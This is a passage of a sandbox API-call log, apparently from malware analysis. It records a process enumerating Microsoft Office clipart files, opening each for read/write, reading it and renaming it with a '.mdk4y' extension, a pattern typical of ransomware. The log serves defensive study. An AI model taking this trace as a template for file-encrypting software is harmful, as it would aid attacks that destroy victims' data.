Office\\CLIPART\\PUB60COR\\J0216112.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216112.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0163.495] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823872500000) returned 1 [0163.495] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa783, lpOverlapped=0x0) returned 1 [0163.497] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823872700000) returned 1 [0163.497] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823872700000) returned 1 [0163.498] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216112.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216112.jpg.mdk4y")) returned 1 [0163.499] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0163.499] AreFileApisANSI () returned 1 [0163.499] GetACP () returned 0x4e4 [0163.499] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0216153.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0216153.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0163.499] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216153.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0163.500] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823873100000) returned 1 [0163.501] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5474, lpOverlapped=0x0) returned 1 [0163.521] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823875100000) returned 1 [0163.521] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823875100000) returned 1 [0163.522] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216153.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216153.jpg.mdk4y")) returned 1 [0163.523] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0163.523] AreFileApisANSI () returned 1 [0163.523] GetACP () returned 0x4e4 [0163.523] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0216540.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0216540.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0163.523] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216540.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0163.524] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823875400000) returned 1 [0163.524] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa488, lpOverlapped=0x0) returned 1 [0163.548] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823877800000) returned 1 [0163.548] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823877800000) returned 1 [0163.549] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216540.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216540.wmf.mdk4y")) returned 1 [0163.550] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0163.550] AreFileApisANSI () returned 1 [0163.550] GetACP () returned 0x4e4 [0163.550] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0216570.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0216570.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0163.550] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216570.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0163.550] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823878000000) returned 1 [0163.550] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x60dc, lpOverlapped=0x0) returned 1 [0163.570] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823880000000) returned 1 [0163.570] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823880000000) returned 1 [0163.571] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216570.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216570.wmf.mdk4y")) returned 1 [0163.572] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0163.572] AreFileApisANSI () returned 1 [0163.572] GetACP () returned 0x4e4 [0163.572] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0216600.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0216600.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0163.572] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0163.572] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823880200000) returned 1 [0163.572] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1f46, lpOverlapped=0x0) returned 1 [0163.731] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823896100000) returned 1 [0163.731] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823896100000) returned 1 [0163.732] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216600.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216600.wmf.mdk4y")) returned 1 [0163.733] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0163.733] AreFileApisANSI () returned 1 [0163.733] GetACP () returned 0x4e4 [0163.733] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0216612.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0216612.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0163.733] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216612.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0163.734] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823896400000) returned 1 [0163.735] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x24e2, lpOverlapped=0x0) returned 1 [0163.798] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823902800000) returned 1 [0163.798] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823902800000) returned 1 [0163.798] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216612.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216612.wmf.mdk4y")) returned 1 [0163.799] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0163.799] AreFileApisANSI () returned 1 [0163.799] GetACP () returned 0x4e4 [0163.799] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0216874.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0216874.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0163.800] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216874.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0163.835] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823906500000) returned 1 [0163.835] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x9b3a, lpOverlapped=0x0) returned 1 [0163.837] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823906700000) returned 1 [0163.837] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823906700000) returned 1 [0163.837] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216874.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216874.wmf.mdk4y")) returned 1 [0163.839] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0163.839] AreFileApisANSI () returned 1 [0163.839] GetACP () returned 0x4e4 [0163.839] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0217262.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0217262.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0163.839] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0163.839] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823906900000) returned 1 [0163.840] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1484, lpOverlapped=0x0) returned 1 [0163.851] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823908100000) returned 1 [0163.851] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823908100000) returned 1 [0163.852] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217262.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217262.wmf.mdk4y")) returned 1 [0163.853] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0163.853] AreFileApisANSI () returned 1 [0163.853] GetACP () returned 0x4e4 [0163.853] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0217302.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0217302.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0163.853] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217302.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0163.854] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823908400000) returned 1 [0163.854] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd9a, lpOverlapped=0x0) returned 1 [0163.910] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823914000000) returned 1 [0163.910] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823914000000) returned 1 [0163.911] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217302.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217302.wmf.mdk4y")) returned 1 [0163.912] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0163.912] AreFileApisANSI () returned 1 [0163.912] GetACP () returned 0x4e4 [0163.912] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0217872.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0217872.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0163.912] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217872.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0163.913] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823914300000) returned 1 [0163.913] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1ca8, lpOverlapped=0x0) returned 1 [0163.963] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823919300000) returned 1 [0163.963] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823919300000) returned 1 [0163.964] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217872.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217872.wmf.mdk4y")) returned 1 [0163.965] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0163.965] AreFileApisANSI () returned 1 [0163.965] GetACP () returned 0x4e4 [0163.965] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0227419.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0227419.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0163.965] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227419.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0163.966] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823919600000) returned 1 [0163.966] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8ad6, lpOverlapped=0x0) returned 1 [0164.009] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823923900000) returned 1 [0164.009] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823923900000) returned 1 [0164.010] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227419.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227419.jpg.mdk4y")) returned 1 [0164.011] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0164.011] AreFileApisANSI () returned 1 [0164.011] GetACP () returned 0x4e4 [0164.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0227558.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0227558.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0164.011] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227558.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0164.012] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823924200000) returned 1 [0164.013] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe2e9, lpOverlapped=0x0) returned 1 [0164.143] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823937300000) returned 1 [0164.143] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823937300000) returned 1 [0164.144] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227558.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227558.jpg.mdk4y")) returned 1 [0164.145] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0164.146] AreFileApisANSI () returned 1 [0164.146] GetACP () returned 0x4e4 [0164.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0228823.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0228823.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0164.146] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228823.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0164.146] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823937600000) returned 1 [0164.147] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x65a6, lpOverlapped=0x0) returned 1 [0164.163] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823939300000) returned 1 [0164.163] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823939300000) returned 1 [0164.164] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228823.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228823.wmf.mdk4y")) returned 1 [0164.165] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0164.165] AreFileApisANSI () returned 1 [0164.165] GetACP () returned 0x4e4 [0164.165] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0228959.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0228959.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0164.165] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228959.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0164.166] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823939700000) returned 1 [0164.175] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x918c, lpOverlapped=0x0) returned 1 [0164.297] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823952700000) returned 1 [0164.297] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823952700000) returned 1 [0164.298] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228959.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228959.wmf.mdk4y")) returned 1 [0164.300] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0164.300] AreFileApisANSI () returned 1 [0164.300] GetACP () returned 0x4e4 [0164.300] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0230553.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0230553.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0164.300] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230553.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0164.302] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823953200000) returned 1 [0164.302] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, 